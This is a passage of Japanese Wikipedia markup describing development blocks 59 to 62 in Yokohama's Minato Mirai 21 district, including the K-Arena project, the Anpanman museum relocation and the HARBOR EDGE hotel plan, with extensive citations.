:* 低層部にはオーケーの大型店舗<!--同年9月24日オープン-->の他に[[専門店]]<!--同年10月中旬以降オープン-->、直営の[[焼肉]]店<!--2017年2月10日オープン-->などを配置<ref name="hamarepo130127-ok">[http://hamarepo.com/story.php?page_no=0&story_id=1614 2015年、オーケーがみなとみらいに出店!](はまれぽ.com 2013年1月27日)</ref><ref>[http://www.life-maintenance.com/ok-minatomirai/ 【OK】オーケーストアみなとみらい店オープン2ヶ月後の状況~専門店が続々](人生メンテナンす 2016年11月19日)</ref>。2016年9月開業。
:** オーケーディスカウント・センターみなとみらい店([[旗艦#転用|旗艦店]])
:** [[ピーシーデポコーポレーション|PC DEPOT]]([[パソコンショップ]]/閉鎖となった[[#39-49街区|47街区]]の暫定施設より、2016年10月移転オープン)
:** [[西松屋]]([[乳幼児]]・[[子供]]用品/閉鎖となった47街区の暫定施設より、2016年12月移転オープン)
:** [[キャンドゥ]]([[100円ショップ]])
:** [[キュービーネット|QBハウス]](ヘアカット専門店)
:** オーケー[[フードコート]](焼肉・[[カフェ]]・ダイニング/2017年2月オープン)
('''B区画''')PRYME COAST みなとみらい:ホテル・集合住宅・商業店舗からなる複合高層ビル。<br />(施工:大成建設<ref name="kentsu150116"/>)<br />(ホテル棟:地上21階・地下1階、高さ約80m<ref name="mm-gaiku50-67"/>/集合住宅棟:地上27階・地下1階、高さ97.78m<!--2017年2月時点の現地「建築計画のお知らせ」より、エリアマネジメントのサイト<ref name="mm-gaiku50-67"/>では「高さ約87m」となっているが約97mの誤植と思われる--><ref>[https://www.hamakei.com/headline/9493/ 超高層免震タワーレジデンス「BLUE HARBOR TOWER みなとみらい」第1期モデルルームがオープン](ヨコハマ経済新聞 2015年6月30日)</ref>)
:* ホテル棟:「ザ・スクエアホテル横浜みなとみらい」(運営:[[ソラーレ ホテルズ アンド リゾーツ]]、2021年12月14日開業<ref name="solare-pr210903">[https://prtimes.jp/main/html/rd/p/000000248.000003280.html ソラーレホテルズが2021年内に『ザ・スクエアホテル横浜みなとみらい』を開業 ](ソラーレ ホテルズ アンド リゾーツ株式会社 2021年9月3日〈PR TIMES〉)</ref><ref name="nikkei210903">[https://www.nikkei.com/article/DGXZQOCC0335O0T00C21A9000000/ ソラーレホテルズ、横浜・みなとみらいにホテル開業](日本経済新聞 2021年9月3日)</ref>/[[ビスタホテルマネジメント|ビスタホテルグループ]]<!--[[ホテルビスタ]]として各地で展開-->が運営していた「ホテルビスタプレミオ横浜[みなとみらい]」〈2017年6月30日開業<ref>[http://yutosoken.com/wp/2017/06/30/hotel-vista-2/ 【PR記事】ビスタホテルマネジメント、みなとみらい21地区で旗艦店となる新規ホテル「ホテルビスタプレミオ横浜」を開業 神奈川県横浜市](遊都総研 2017年6月30日)</ref><!--<ref name="hotel-vista131226">[http://www.hotel-vista.jp/info/vista/1851 新規開業予定ホテルのお知らせ](ホテルビスタ 2013年12月26日)</ref><ref name="hotel-vista-yokohama">[http://www.hotel-vista.jp/yokohama-minato-mirai/ ホテルビスタプレミオ横浜[みなとみらい]](ホテルビスタ公式サイト内)</ref>-->、2021年4月26日閉館<ref>[https://www.nikkei.com/article/DGXZQOFB313770R30C21A3000000/ 横浜・みなとみらいの「ホテルビスタプレミオ」4月閉館](日本経済新聞 2021年3月31日)</ref>〉を改装利用)
:* 集合住宅棟:「BLUE HARBOR TOWER みなとみらい」(2017年4月入居開始<ref>[https://web.archive.org/web/20161114233314/http://www.mm59.jp/shinchiku/F1307001/ 「BLUE HARBOR TOWER (ブルーハーバータワー) みなとみらい」 公式サイト]</ref>)
|'''<オーケー本社ビル>'''<br />2014年11月着工<ref>[http://blog.goo.ne.jp/taro-x/e/10a597458b0a4b1f49f2d8f964713752 横浜・みなとみらい地区周辺 最近の話 2014年12月 その2](with Camera/港北太郎 2014年12月19日/[[archive.is|archive.today]]による[https://archive.is/OlcYz 2015年1月27日時点のアーカイブ])</ref><br />2016年8月竣工<ref name="mm-gaiku50-67"/><br />{{refnest|group="注"|2016年3月末の竣工予定であったが延期された<ref name="toshi-no-fukei140914">[http://urbanreallife.blog52.fc2.com/blog-entry-1731.html MM59街区B区画開発計画 & オーケーみなとみらい本社ビル (みなとみらい21中央地区59街区)](都市の風景 2014年9月14日)</ref>。}}<br />'''<PRYME COAST みなとみらい>'''<br />2015年1月着工<ref name="kentsu150116">[http://www.kentsu.co.jp/webnews/html_top/150115400041.html MM59街区B区画の開発 大成で着工](建通新聞{{small|〈電子版〉}} 2015年1月16日/神奈川)</ref><ref>[http://blog.goo.ne.jp/taro-x/e/141fe799ab715dbbe77818aa967019ca 横浜・みなとみらい地区周辺 最近の話 2015年1月 その2](with Camera/港北太郎 2015年1月22日/[[archive.is|archive.today]]による[https://archive.is/cVSne 2015年1月27日時点のアーカイブ])</ref><br />2017年3月竣工<ref name="toshi-no-fukei140914"/><ref name="koji-annai-ban-mm59">59街区に設置された2014年9月時点の工事案内板より</ref><br />{{refnest|group="注"|当初の予定では共に2014年1月に着工するとしていた。}}
|-
|rowspan="5"|60,61,62街区
|colspan="2"|(60,61街区:''北側区画'')ケン・コーポレーションによる音楽アリーナ・ホテル・オフィスビル等複合開発「ミュージックテラス」<ref name="city-yokohama171108">{{PDFlink|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/zaisei/2017/20171108-044-26458.files/php1Mi5BD.pdf みなとみらい21地区60・61・62街区及び53街区の公募審査結果等について]〈[https://web.archive.org/web/20190329112759/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/zaisei/2017/20171108-044-26458.files/php1Mi5BD.pdf アーカイブ]〉}}(横浜市財政局資産経営課、横浜市港湾局管財第一課、横浜市都市整備局みなとみらい21推進課 平成29年 {{small|(2017年)}} 11月8日)</ref><ref name="tokyo-shin171117">[http://www.tokyo-np.co.jp/article/kanagawa/list/201711/CK2017111702000144.html 音楽ホール 新設ラッシュ MM21地区 「世界最大」2万人規模など3つ](東京新聞 2017年11月17日/[[archive.is|archive.today]]による[https://archive.is/sMa5E 2017年11月17日時点のアーカイブ])</ref><ref name="mainichi171114">[https://mainichi.jp/articles/20171114/k00/00e/040/139000c みなとみらい 音楽会場 新設続々と 横浜](毎日新聞 2017年11月14日)</ref><br />〈計画名称:Kアリーナプロジェクト/開発街区全体名称:ミュージックテラス〉<ref name="toshi-kaihatsujokyozu"/><ref name="mlit190222">[https://www.mlit.go.jp/report/press/toshi05_hh_000229.html 民間都市再生事業計画(Kアリーナプロジェクト)を認定 ~横浜みなとみらい21地区に『ミュージック・パーク』が誕生~]/{{PDFlink|[https://www.mlit.go.jp/common/001273962.pdf 詳細資料]〈[https://web.archive.org/web/20220828080119/https://www.mlit.go.jp/common/001273962.pdf アーカイブ]〉}}(国土交通省都市局まちづくり推進課 平成31年 {{small|(2019年)}} 2月22日)</ref><ref name="kencorp-k-arena">[https://www.kencorp.co.jp/pro/development/case/example/k-arena/ 開発中プロジェクト - Kアリーナプロジェクト](KEN ケン・コーポレーション 公式サイト:不動産開発事業、''2020年9月6日閲覧'')</ref><ref name="kencorp211116">{{Cite web|和書|url=https://www.kencorp.co.jp/news/20211116/20211116_k-arena.pdf|title=世界最大級、2万席の音楽アリーナが2023年秋誕生 音楽アリーナの施設名称を「Kアリーナ横浜」に、ホテルブランドを「ヒルトン」に決定|date=2021-11-16|accessdate=2021-11-16|publisher=ケン・コーポレーション}}</ref><ref>[https://chizai-watch.com/t/2020112003?q=K%E3%82%A2%E3%83%AA%E3%83%BC%E3%83%8A Kアリーナ / K arena](商標ウォッチ、株式会社ケン・コーポレーションによる出願/商願2020-112003/2020年9月9日出願)</ref><br />
(敷地面積:約31,794m{{sup|2}}〈60,61街区全体<!--当初面積:約60,585m{{sup|2}}-->の半分程の面積〉、全体の延床面積:約119,200m{{sup|2}}<ref name="mlit190222"/><ref name="kanaloco190225">[https://www.kanaloco.jp/news/economy/entry-150252.html みなとみらい音楽アリーナ完成2年遅れ 建設ラッシュ余波](神奈川新聞{{small|〈カナロコ〉}} 2019年2月25日)</ref><ref name="kencorp200820">{{PDF|[https://www.kencorp.co.jp/news/20200820/20200820_k-arena.pdf 「Kアリーナプロジェクト」着工のお知らせ]}}(株式会社ケン・コーポレーション 2020年8月20日)</ref>)<br />(建物の規模:高さ約100m<ref name="kencorp200820"/>)<br />
:[[ケン・コーポレーション]]による収容客数2万人規模の音楽専用アリーナ「[[Kアリーナ横浜]]」やホテル「[[ヒルトン横浜]]」([[ヒルトン]]ブランドは横浜初進出)、賃貸オフィス「[[Kタワー横浜]]」、展示施設<!--当初発表情報-->などからなる複合開発「ミュージックテラス」<ref name="kencorp-k-arena"/><ref name="kencorp211116"/>。<br />
:2019年2月に公表された計画では当初より完成が2年延期となった一方、開発規模は各棟の階数が増え総延床面積も約1.7倍まで拡大されている<ref name="kanaloco190225"/>。<br />
:両街区の中でも[[高島水際線公園]]{{small|([[帷子川]]下流・[[港湾]]部沿岸)}}寄りの敷地に以下の3棟<!--当初計画では展示施設棟(地上2階)を加えた4棟としていた-->を建設予定<ref name="city-yokohama171108"/><ref name="mlit190222"/><ref name="kencorp200820"/>。
:* 音楽アリーナ「Kアリーナ横浜」(地上7階<!--当初:地上5階〈高さ40m〉-->):音楽専用アリーナとしては日本最大級。同社グループ会社と大手[[レコード会社]]の共同事業。
:* ホテル棟「ヒルトン横浜」(地上25階<!--当初:地上21階〈高さ90m〉-->):客室は約340室、上階にラウンジを設ける<!--当初:4-20階に客室、21階にラウンジ-->。同社グループ会社が運営を行う予定。
:* オフィス棟「Kタワー横浜」(地上21階<!--当初:地上20階〈高さ90m〉-->):賃貸オフィスとしており、今後同社が企業の誘致活動を行う。
:この他、2017年11月に公表された当初の情報によると、[[玩具]]コレクションをベースとした展示施設を併設予定<ref name="city-yokohama171108"/><ref name="kencorp190225">{{PDF|[https://www.kencorp.co.jp/news/20190225/20190225_k-arena.pdf 「Kアリーナプロジェクト」 国土交通大臣より民間都市再生事業計画の認定を受けました]}}(株式会社ケン・コーポレーション 2019年2月25日)</ref>。
:現地「建築計画のお知らせ」(2020年3月設置、同年10月時点)では、地上28階建て(高さ99.87m)と表記されており<ref>[https://bluestyle.livedoor.biz/archives/52496859.html 地上28階「Kアリーナプロジェクト」の建設状況!みなとみらいに2万人規模の音楽アリーナやホテルが誕生します(2020.10.4)](超高層マンション・超高層ビル 2020年10月23日)</ref>、ホテル棟の階数(当初は地上21階建てとされていた<ref name="city-yokohama171108"/>が、2019年2月時点の情報で25階に拡大<ref name="mlit190222"/>)がさらに増える可能性もある。
:両街区を貫通する歩行者通路<!--(幅員15m程度)-->を「ミュージックストリート」として、仮設店舗や[[キッチンカー]]などによる賑わいも演出<ref name="city-yokohama171108"/>。
:災害発生時における滞留者・帰宅困難者などの対応として、音楽アリーナの一時滞在施設としての活用も検討している<ref name="city-yokohama171108"/>。
:また、当プロジェクトは国土交通省の[[民間都市再生事業計画]]に認定されている<ref name="mlit190222"/><ref name="kanaloco190225"/><ref name="kencorp190225"/>。
{{small|(上記開発による残存区画〈南側半分程〉として、60街区の極一部と61街区の一部<!--半分以上-->が残っている<ref name="ymm21-offering"/>)}}<br />
{{small|(過去:60街区では[[横浜みなとみらいスポーツパーク]]、61街区では[[マリノスタウン]]が2006年より10年間の暫定施設として運営されていた)}}
|2020年8月着工<ref name="mlit190222"/><ref name="kanaloco190225"/><ref name="kencorp200820"/><br />2023年7月竣工予定<ref name="kencorp-k-arena"/><ref name="kencorp200820"/><br />(同年秋開業予定)<ref name="kencorp-k-arena"/><ref name="kencorp211116"/><br />{{refnest|group="注"|当初:2019年6月着工予定、2021年度竣工予定<ref name="city-yokohama171108"/>。}}
|-
|colspan="2"|(60,61街区:''南側区画''{{refnest|group="注"|上記、「Kアリーナプロジェクト」開発による残存区画(両街区のうち南側半分程)にあたるが、60街区は極一部のみで大部分が61街区に該当する<ref name="ymm21-offering"/>。}})'''事業者公募街区'''<!--(上記、Kアリーナプロジェクト決定による残存区画)--><ref name="ymm21-offering"/>
(敷地面積:約23,149m{{sup|2}}<!--約24,696m{{sup|2}}--><!--上記のKアリーナプロジェクト提案敷地面積を引いた面積-->)<br />
(公募に向けて条件整理を行う目的で、2022年5月に民間事業者サウンディング調査〈対話〉を実施し<ref name="y-toshiseibi220309">[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2021/0309-6061sounding.html みなとみらい21地区60・61残街区の開発事業者の公募に向けて民間事業者の皆さまとの「対話」(サウンディング調査)を実施します](横浜市都市整備局 令和4年 {{small|(2022年)}} 3月9日)</ref>、翌6月に結果が公表された<ref name="y-toshiseibi220610">[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2022/0610-6061sounding.html みなとみらい21地区60・61 残街区の開発事業者の公募に向けた サウンディング調査の結果概要を公表します]〈[https://web.archive.org/web/20220705080247/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2022/0610-6061sounding.html アーカイブ]〉/{{PDFlink|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2022/0610-6061sounding.files/60-61sounding-kekkagaiyou-kisyahappyo.pdf 詳細資料{{small|〈記者発表資料〉}}]〈[https://web.archive.org/web/20220610041433/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2022/0610-6061sounding.files/60-61sounding-kekkagaiyou-kisyahappyo.pdf アーカイブ]〉}}(横浜市都市整備局 令和4年 {{small|(2022年)}} 6月10日)</ref>)<br />
{{small|(過去:61街区内の特設会場で、2017年2月〜5月<ref name="hamakei170226"/>および2020年12月〜2021年3月<ref name="hamakei201029"/>に「[[木下大サーカス]]」の横浜公演開催)}}<br />
{{small|(過去:<!--61街区の-->一部区画に2020年8月〜10月まで[[日産自動車]]の<!--期間限定-->体験型施設「NISSAN PAVILION<!-- Yokohama-->」〈ニッサンパビリオン〉が開設されていた<ref name="townnews190829"/><ref name="townnews200813"/><ref name="nissan-pavilion"/>)}}<br />
{{small|(過去:横浜市では[[林文子]]市政の時に[[オペラ]]・[[バレエ]]などの'''[[劇場]]整備'''の検討が行われていたが、その整備検討適地を60・61街区としていた<ref name="yokohama-shingekijyou191127">{{PDF|[https://www.city.yokohama.lg.jp/city-info/seisaku/torikumi/gekijyou/iinkai.files/1127_shiryo4.pdf 第6回 横浜市新たな劇場整備検討委員会 検討資料とりまとめ]〈[https://web.archive.org/web/20210815044424/https://www.city.yokohama.lg.jp/city-info/seisaku/torikumi/gekijyou/iinkai.files/1127_shiryo4.pdf アーカイブ]〉}}([https://www.city.yokohama.lg.jp/city-info/seisaku/torikumi/gekijyou/iinkai.html 横浜市新たな劇場整備検討委員会]〈[https://web.archive.org/web/20210815044309/https://www.city.yokohama.lg.jp/city-info/seisaku/torikumi/gekijyou/iinkai.html アーカイブ]〉 2019年11月27日)</ref>)}}
|所有:横浜市
|-
<!--
|colspan="2"|(61街区:''南側一部区画'')[[日産自動車]]の体験型エンターテインメント施設「NISSAN PAVILION Yokohama(ニッサンパビリオン)」
* 2020年8月1日から10月23日までの約3か月間、期間限定で開設予定<ref name="townnews200813"/>。[[モノのインターネット|IoT]]技術を活用した展示やイベントなどを実施<ref name="townnews190829"/><ref name="nissan-pavilion"/>。
|''暫定施設''<br />(所有:横浜市)
|-
-->
|colspan="2"|(61街区:''南西側一部区画'')[[横浜アンパンマンこどもミュージアム]]<ref name="city-yokohama160328"/><ref name="ACM-press180827">[https://prtimes.jp/main/html/rd/p/000000002.000036566.html 2019年夏 横浜アンパンマンこどもミュージアムは新しく生まれ変わります!](株式会社ACM 2018年8月27日〈[[PR TIMES]]〉)</ref><br />
(敷地面積:約5,644m{{sup|2}})
* 48街区にて2007年より暫定施設として営業していたが、長期の運営を視野に入れ当街区の一部区画(中低層エリア)への移転を計画。
* 全国5施設の[[旗艦#転用|旗艦]]施設となる<ref name="kanaloco190208"/>。
* 建物は地上3階・地下1階<!--当初:地上4階(地下なし)-->建て(高さ:約18m)で、1階にショップ・レストラン(入場無料)<!--当初:メインエントランスおよび駐車場-->、2階にミュージアムのチケットカウンター・ショップ・入口<!--当初:商業モール(入場無料)-->、3階にミュージアム(有料施設)を配置<ref name="city-yokohama160328"/><ref name="ACM-press180827"/><ref name="travel-watch190416">[https://travel.watch.impress.co.jp/docs/news/1180429.html 「横浜アンパンマンこどもミュージアム」、7月7日に移転オープン]([[Impress Watch|トラベル Watch]], 2019年4月16日)</ref><ref name="hamarepo190416">[https://hamarepo.com/story.php?story_id=7190 みなとみらいに新しい「横浜アンパンマンこどもミュージアム」が2019年7月7日にオープン!](はまれぽ.com 2019年4月16日)</ref>。駐車場は地下1階となる<ref name="ACM-press180827"/>。
* 延床面積は約1万4000m{{sup|2}}<ref name="ACM-press180827"/>で、48街区の旧施設より2倍程度拡大される<ref>[https://www.nikkei.com/article/DGXMZO34791830Q8A830C1L82000/ アンパンマンミュージアム、横浜駅近くに19年夏移転](日本経済新聞 2018年8月30日)</ref>。
* 48街区の旧施設(横浜アンパンマンこどもミュージアム&モール)では2019年5月26日まで営業を継続<ref name="kanaloco190208">[https://www.kanaloco.jp/news/life/entry-148885.html アンパンマンミュージアムの閉館日、5月26日に](神奈川新聞{{small|〈カナロコ〉}} 2019年2月8日)</ref>した後、当地にて「'''横浜アンパンマンこどもミュージアム'''」<ref group="注" name="yokohama-anpanman-name"/>として同年7月7日に移転開業<ref name="ACM-press180827"/><ref name="travel-watch190416"/><ref name="hamarepo190416"/>。
<!--: (48街区の旧施設の借用期限は2017年4月までとなっているが、新しい施設(2019年5月竣工)に移転できるまでは現在の場所で営業を継続したい意向を示していた<ref>[http://www.hamakei.com/headline/9789/ 横浜アンパンマンこどもミュージアムが9周年 2019年に移転方針決定](ヨコハマ経済新聞 2016年4月20日)</ref>)-->
{{small|(過去:61街区全体にはかつて[[マリノスタウン]]があった)}}
|2018年3月着工<br />2019年5月竣工<br />(同年7月開業<ref name="travel-watch190416"/>)<br />(''30年間の定期借地''<ref name="city-yokohama160328"/><ref name="kanaloco160329">[https://www.kanaloco.jp/news/government/entry-73558.html MM21に3事業者 清水建設、京急、アンパンマン](神奈川新聞{{small|〈カナロコ〉}} 2016年3月29日)</ref>) <!--(暫定施設)--><br />(所有:横浜市)
|-
|colspan="2"|(62街区)グローバルラグジュアリーホテル&ホテルコンドミニアム・水族館・店舗などの複合施設<br />〈HARBOR EDGE PROJECT<!--Waterfront-->〉<ref>[https://www.ymm21.jp/database/detail/post-140.html HARBOR EDGE PROJECT〈62街区〉](みなとみらいエリアマネジメント公式サイト:みなとみらいデータベース)</ref><br />(敷地面積:約22,188m{{sup|2}})<br />
[[マレーシア]]の[[ベルジャヤ・コーポレーション]](代表企業)、[[丸紅]]、[[大和ハウス工業]]の3社で構成される企業グループ「BMD 62」によるグローバルラグジュアリーホテル&ホテルコンドミニアム、[[水族館]]、店舗(レストラン・物販)などの複合施設開発計画。ホテルについては[[フォーシーズンズホテル|フォーシーズンズ・ホテル&リゾーツ]]など国際的なブランドを誘致予定(LOI〈関心表明書〉を取得済み)。水辺にレストランなど飲食店舗群を配置。また、水族館は本物の海洋生物と最新のデジタル技術を融合したものとなる予定<ref name="city-yokohama-mm62-200605">[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2020/0605_62kekka.html みなとみらい21中央地区62街区の事業予定者を決定しました]/{{PDFlink|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2020/0605_62kekka.files/0001_20200605.pdf 詳細資料{{small|〈記者発表資料〉}}]〈[https://web.archive.org/web/20200729141700/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2020/0605_62kekka.files/0001_20200605.pdf アーカイブ]〉}}(横浜市港湾局・都市整備局 令和2年 {{small|(2020年)}} 6月5日)</ref><ref name="kanaloco200605">[https://www.kanaloco.jp/news/economy/entry-373859.html 横浜にフォーシーズンズホテル進出へ 市が開発事業者決定](神奈川新聞{{small|〈カナロコ〉}} 2020年6月5日)</ref>。<br />
(土地売買契約:当初は2021年6月までに締結予定だったが延期となり、2022年2月時点では2023年6月に締結予定<ref>{{PDF|[https://www.city.yokohama.lg.jp/city-info/yokohamashi/org/kowan/yosan/R4kouwanyosangaiyou.files/r4gaiyou.pdf 横浜市港湾局 令和4年 {{small|(2022年)}} 度予算概要]〈[https://web.archive.org/web/20220204091912/https://www.city.yokohama.lg.jp/city-info/yokohamashi/org/kowan/yosan/R4kouwanyosangaiyou.files/r4gaiyou.pdf アーカイブ]〉}}(資料内「V 安全・安心で環境にやさしい港」 p.25{{small|〈埋立事業会計〉}})</ref>)<br />
(建物の規模:地上14階・地下2階、高さ59.95m/延床面積:82,661.98m{{sup|2}} <ref name="city-yokohama-mm62-200605"/>)
; <フロア構成><ref name="city-yokohama-mm62-200605"/>
; ホテル棟
* 7-14階:ホテル客室
* 4階:ウェディング施設
* 3階:会議室
* 1-2階:レストラン・バンケットルーム(ホテルコンドミニアム棟と共通)
* 地下1階:駐車場
;ホテルコンドミニアム棟
* 4-14階:ホテルコンドミニアム
* 3階:スパ
* 1-2階:レストラン・バンケットルーム(ホテル棟と共通)
* 地下1階:フィットネスルーム
* 地下2階:プール
; 水族館棟
* 1-3階:水族館
* 地下1階:駐車場
; <開発方針><ref>[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2018/20180427-027-27406.html みなとみらい21地区62街区における開発事業者公募の開始について]/{{PDFlink|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2018/20180427-027-27406.files/0002_20190507.pdf 詳細資料{{small|〈記者発表資料〉}}]〈[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2018/20180427-027-27406.files/0002_20190507.pdf アーカイブ]〉}}(横浜市港湾局 平成30年 {{small|(2018年)}} 4月27日)</ref>
* 当該区の開発事業者公募では、施設の床面積の25%以上を「展示、観覧、体験機能のいずれかの用途を成す集客施設」とする条件が示されていた。
* また、運河に面する一部分(北東側の約1200m{{sup|2}}、護岸沿幅員5m)を24時間開放のプロムナード(賃貸契約)として一体整備することも条件となっている。なお、運河に面する部分には小型[[桟橋]]2基の設置も計画されている。
|<!--所有:横浜市<br />-->2023年7月着工予定<ref name="y-yosan-toshiseibi2022">{{PDF|[https://www.city.yokohama.lg.jp/city-info/yokohamashi/org/toshi/yosan/r4yosangaiyou.files/r4yosangaiyou.pdf 横浜市都市整備局 令和4年 {{small|(2022年)}} 度予算概要]〈[https://www.city.yokohama.lg.jp/city-info/yokohamashi/org/toshi/yosan/r4yosangaiyou.files/r4yosangaiyou.pdf アーカイブ]〉}}(資料内「令和4年度 予算案の主な事業・取組:【取組2】力強い経済成長と都市の魅力・活力を高める都心部のまちづくり」 p.13{{small|〈(4) みなとみらい21地区開発促進事業:みなとみらい21地区 街区開発状況〉}})</ref><br />2026年9月竣工予定<ref name="y-yosan-toshiseibi2022"/><br />{{refnest|group="注"|当初:2022年10月着工予定、2026年3月竣工予定<ref name="city-yokohama-mm62-200605"/>。}}
|-
|colspan="2"|'''《3つの街区における街づくりの方針》'''
「'''観光・エンターテイメント'''{{refnest|group="注"|一般的なメディアなどでは「[[エンターテインメント]]」と表記される場合が多いが、ここでは横浜市が公式に発表した「観光・エンターテイメント」<ref name="yokohama-toshiseibikyoku150225-MM60-62"/>の表記に従う。}}」を軸とした街づくり(3つの街区を合わせた約8.3haの土地)<ref name="yokohama-toshiseibikyoku150225-MM60-62">[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2014/20150225-038-20653.html 『みなとみらい21中央地区60・61・62街区の街づくり方針』を策定しました(平成27年2月)]〈[https://web.archive.org/web/20190329161300/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2014/20150225-038-20653.html アーカイブ]〉/{{PDFlink|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2014/20150225-038-20653.files/phpkp0qwR.pdf 詳細資料{{small|〈記者発表資料〉}}]〈[https://web.archive.org/web/20190329161307/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2014/20150225-038-20653.files/phpkp0qwR.pdf アーカイブ]〉}}(横浜市都市整備局みなとみらい21推進課 平成27年 {{small|(2015年)}} 2月25日)</ref><ref name="kanaloco150226">[https://www.kanaloco.jp/news/government/entry-56854.html 「マリノスタウン」移転検討も 横浜市、観光・エンタメ軸に再整備へ](神奈川新聞{{small|〈カナロコ〉}} 2015年2月26日)</ref><ref name="town-news150312">[https://www.townnews.co.jp/0113/2015/03/12/274799.html MM60〜62街区再整備 「観光・エンタメ」方針決まる 市、民間との対話踏まえ](タウンニュース{{small|〈中区・西区版〉}} 2015年3月12日号)</ref><ref name="hanarepo150226">[http://hamarepo.com/story.php?story_id=3862 マリノスタウンが移転? その詳細は?](はまれぽ.com 2015年2月26日)</ref>
: あくまでも3つの街区における施設誘致の方向性を決めたもので、これらの土地に複数の異なる施設ができる可能性もある。また、2017年1月の再公募開始時点で施設の床面積の過半を「展示、観覧、体験機能のいずれかの用途を成す集客施設」とすることも開発の条件となっている。ただし、「映画館は除く」としている<ref name="ymm21-offering"/>。
; <開発方針>
* 施設の用途は文化、商業、業務施設等(住宅は不可)とし、文化・歴史・自然などを学び体験できるような大規模集客施設や[[博物館]](ミュージアム)などを想定している。
* 一定の要件を満たすホテルについては、総敷地面積の4分の1を上限に開発可能(ホテルは当初不可であったが、2017年1月の再公募時に方針変更)<ref name="city-yokohama170123">{{PDFlink|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/zaisei/2016/20170123-044-24727.files/phpARYiIU.pdf みなとみらい 21 地区58 街区及び 60・61・62 街区における開発事業者公募の開始について]}}(横浜市記者発表資料{{small|〈同市財政局ほか〉}} 平成29年 {{small|(2017年)}} 1月23日)</ref><ref name="mmkoubo60-62">[https://www.ymm21.jp/news/offering/offering606162.php みなとみらい21地区60・61・62街区開発事業者募集情報]〈[https://web.archive.org/web/20170202041551/https://www.ymm21.jp/news/offering/offering606162.php アーカイブ]〉(みなとみらいエリアマネジメント公式サイト ''2017年1月29日閲覧'')</ref><ref name="nikkei170124">[http://www.nikkei.com/article/DGXLASFB23H7R_T20C17A1L82000/ 横浜市、MM21の3街区で開発事業者を再公募](日本経済新聞 2017年1月24日)</ref>。
* [[横浜みなとみらい国際コンベンションセンター|新展示場]](MICE施設)の整備が計画されている20街区と近距離にあることから、アフターコンベンション機能の充実についても考慮されている。
* [[マスターアーキテクト方式|マスターアーキテクト]]などの手法により、3つの街区全体として調和のとれた街並み景観の形成を誘導する。
* 中規模施設(0.5〜1ha程度)および大規模施設(数ha)の開発を誘導する他、水辺までの空間的広がりを確保するため[[高島水際線公園]]側には「中低層エリア」を設定。またこのゾーンに沿って、その他(陸側)の開発区域との境界には3つの街区を貫通する歩行者通路(幅員15m程度)も整備する方針。
; <土地処分方針>
土地の処分については事業者への売却を基本とするものの、定期借地(20年以上、最大49年間)として開発することも可能(観光・エンターテイメント事業の特性を考慮)。また、開発を行うことができる土地の範囲については、2017年1月の再公募開始時点で以下の中から選択可能であった<ref name="ymm21-offering"/><ref name="mmkoubo60-62"/>。
* 1. '''60・61・62街区'''(当初敷地総面積<!--アンパンマンこどもミュージアム移転の敷地面積も含む-->:約82,773m{{sup|2}})
** a. 全体提案:3つの街区全体(約77,132m{{sup|2}})の一体開発。
** b. 部分提案:60・61街区の一部区画(20,000m{{sup|2}}以上、または「中低層エリア」で5,000m{{sup|2}}以上)と62街区全体(約22,188m{{sup|2}})の開発。
* 2. '''60・61街区'''(当初敷地総面積<!--アンパンマンこどもミュージアム移転の敷地面積も含む-->:約60,585m{{sup|2}})
** a. 全体提案:両街区全体(約54,943m{{sup|2}})の開発。
** b. 部分提案:両街区のうち、一部区画(20,000m{{sup|2}}以上、または「中低層エリア」で5,000m{{sup|2}}以上)の開発。
* 3. '''62街区''':街区全体(約22,188m{{sup|2}})の開発。
: (※上記の条件や開発面積は'''2017年1月の再公募開始時点'''の情報<ref name="city-yokohama170123"/>)
(なお、60街区「[[横浜みなとみらいスポーツパーク]]」<ref name="hamakei150702"/>および61街区「[[マリノスタウン]]」<ref name="gekisaka150521"/>が共に2016年3月までに閉鎖された<ref group="注" name="mm-sportpark-zantei"/>ことから、横浜市では「速やかに街づくりを進めていく方針」としている<ref name="town-news150312"/>)
; <開発事業者の公募・決定状況>
2015年8月より事業者の公募を開始<ref>[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/zaisei/2015/20150803-044-21532.html みなとみらい21地区53、54、55-1、56-1及び60・61・62街区における開発事業者の公募開始について]〈[https://web.archive.org/web/20190329085558/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/zaisei/2015/20150803-044-21532.html アーカイブ]〉(横浜市財政局資産経営課 平成27年 {{small|(2015年)}} 8月3日)</ref>、2016年3月には61街区の一部区画(中低層エリア)における事業計画として「横浜アンパンマンこどもミュージアム&モールの移転プロジェクト」が選ばれた<ref name="city-yokohama160328"/>。残る60-62街区の残存部についても2017年1月に再公募が開始され<ref name="ymm21-offering"/><ref name="city-yokohama170123"/><ref name="mmkoubo60-62"/><ref name="nikkei170124"/>、同年11月には60・61街区の一部区画における事業計画としてケン・コーポレーションによる音楽アリーナ・ホテル・オフィスビル等開発計画「Kアリーナプロジェクト」が選ばれた<ref name="city-yokohama171108"/>。その後、2018年4月より62街区の単独再公募を開始し、2020年6月には同街区における事業計画としてベルジャヤ・コーポレーションなどによるグローバルラグジュアリーホテルや水族館などの複合開発が選ばれており<ref name="city-yokohama-mm62-200605"/>、今後は60・61街区の残存部(60街区は極一部のみ)においても再公募を実施する見込みである<ref name="ymm21-offering"/>(この残存部は[[林文子]]市政の時に劇場整備構想の想定地にもなっていた<ref name="yokohama-shingekijyou191127"/>、公募に向けて2022年5月に民間事業者サウンディング調査を実施し<ref 